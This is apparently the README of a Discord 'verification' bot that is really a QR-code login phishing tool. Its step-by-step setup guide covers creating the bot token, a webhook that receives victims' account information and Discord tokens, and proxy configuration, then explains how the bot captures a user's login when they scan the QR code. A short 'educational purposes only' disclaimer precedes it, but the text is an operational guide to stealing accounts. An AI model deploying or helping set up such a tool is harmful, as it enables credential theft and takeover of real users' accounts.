This project shows the danger of Login via QR Code. It uses a discord bot to make it look like a verification bot. When an user is trying to verify, the QR will be fetched from the webdriver and sent. When scanned and pressed, the information of the user (including Discord Token) will be sent to a webhook.
Current Version: 1.0.1 (Last Update: 2023-20-07)
Released full project
This project is for educational purposes only. Any illegal or unethical use of the provided code or information is not endorsed. Users assume full responsibility for their actions, and the creator disclaims any liability for the consequences of misuse. Please use this project responsibly and in accordance with applicable laws and ethical standards.
- Windows (10/11)
- Python (3.9)
- Download the source code
- Extract the zip
- Run
setup.bat
Before running, config.json
(found in the main folder) should be configured as followed:
{
"botToken": "BOTTOKEN-HERE",
"webhookUrl": "WEBHOOKURL-HERE",
"prefix": "!"
}
Start off by getting the bot token:
- Head to the Discord Application Page
- Press on "New application", and give it the name you like. The name of the bot can be changed later.
- On your left, click on "Bot"
- Here, change the name of the bot and the icon as how you like it.
- Under "Privileged Gateway Intents", select all three boxes.
- Save changes and press "Reset token". After resetting it, copy it.
- Replace
BOTTOKEN-HERE
(keep the quotes) with the token. Keep in mind that whenever you reset your token, you should replace it.
Next up is your webhook URL:
- Head to your server on the Discord website or dekstop app.
- Select or make a channel.
- Next to the channel name, press on the gear icon.
- On the left, head to integrations > View Webhooks.
- Press on "New Webhook" to create a webhook.
- Change the name and icon as you like and press on "Copy Webhook URL".
- Replace
WEBHOOKURL-HERE
(keep the quotes) with the URL. Keep in mind that whenever the webhook is deleted, you should replace it.
The last step is to paste the configuration text in config.json
Now the very last thing to do is configuring proxies.txt
(found in the main folder):
- Head to this site
- Press the "Sign Up" button in the right upper corner and create a new account.
- After signing up, you should see a list of proxies.
- On the left, go to Proxy > Settings and head to the "IP Authorizations" tab.
- Under "IP Authorizations" it should say "Your IP address is ...". Press on the numbers to copy your IP.
- Press on "Add New IP Address" and paste in your IP, after which you need to press "Save".
Note: Your IP may change overtime. If the script gives an error, you may need to repeat the steps.
- Now on the left, head to Proxy > List.
- Under "Authentication Method", change "Username/Password" to "Ip Authentication".
- After, press on "Download" under "ALL" and press "DOWNLOAD PROXY LIST".
- Open the file that was just downloaded and make sure the format is
123.123.123:123
, otherwise check steps 4-8. - Copy the contents of the file, and paste them in
proxies.txt
(found in the main folder)
If you want to, you can also change the prefix. This is the thing that you say before a command.
For example, when the prefix is set to !
, this is how you call a command:
!command
When running in any problems, please make sure you have the requirements installed.
Make sure you've done all previous steps before continueing.
- To get the bot online, run
main.py
(found in the main folder) - Starting the setup is done by using the
!setup
command (replace prefix when custom is set.) in the server that contains your bot. - Upon an user pressing the verify button, the process should automatically start.
- When the user succesfully logs in, the webhook should ping everyone and should send the information.
This project is licenced under the MIT Licence
Alot of credits to AstraaDev for the idea.